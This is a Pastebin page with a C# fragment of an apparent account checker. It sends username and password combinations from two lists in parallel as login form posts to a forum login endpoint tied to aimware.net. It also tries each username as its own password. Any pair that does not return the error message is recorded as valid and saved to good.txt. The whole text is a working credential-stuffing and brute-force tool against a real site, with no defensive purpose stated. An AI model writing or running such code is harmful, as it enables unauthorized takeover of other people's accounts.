Advertisement
Guest User

Untitled

a guest
Aug 11th, 2018
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 2.44 KB | None | 0 0
  1.  Parallel.For(0, log.Length, new ParallelOptions(), i =>
  2.             {
  3.                 Parallel.For(0, pas.Length + 1, j =>
  4.                 {
  5.  
  6.                     using (WebClient test = new WebClient())
  7.                     {
  8.                         test.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
  9.  
  10.                         if (j == pas.Length)
  11.                         {
  12.                             WriteResult(log, i, log, i, test, URI, ref clear,
  13.                                 ref check, ref good);
  14.                         }
  15.                         else
  16.                         {
  17.                             WriteResult(log, i, pas, j, test, URI, ref clear,
  18.                                 ref check, ref good);
  19.                         }
  20.                     }
  21.  
  22.                 });
  23.  
  24.             });
  25.  
  26.  
  27.             Console.ReadKey();
  28.         }
  29.  
  30.         private static void WriteResult(string[] log, int i, string[] pas, int j, WebClient test, string URI, ref int clear,
  31.              ref int check, ref int good)
  32.         {
  33.             test.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
  34.             string Parameters = "username=" + log[i] + "&password=" + pas[j] +
  35.                          "&submit=Login&action=do_login&url=https%3A%2F%2Faimware.net%2Fforum%2Findex.php";
  36.             string HtmlResult = test.UploadString(URI, Parameters);
  37.             {
  38.                 if (HtmlResult.Contains("Please correct the following"))
  39.                 {
  40.                     if (clear == 200)
  41.                     {
  42.                         Console.Clear();
  43.                     }
  44.  
  45.                     check++;
  46.                     clear++;
  47.                     Console.WriteLine(
  48.                         "Account " + log[i] + ":" + pas[j] + " is invalid" +
  49.                         "\nchecked variants: " + check + " Good: " + good);
  50.                 }
  51.                 else
  52.                 {
  53.                     good++;
  54.                     Console.WriteLine(
  55.                         "Account " + log[i] + ":" + pas[j] + " is valid " +
  56.                         "\nchecked variants: " + check + " Good: " + good);
  57.                     using (var sw =
  58.                         File.AppendText(Environment.CurrentDirectory + @"\good.txt"))
  59.                     {
  60.                         sw.WriteLine(log[i] + ":" + pas[j] + "\n");
  61.                     }
  62.                 }
  63.             }
  64.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement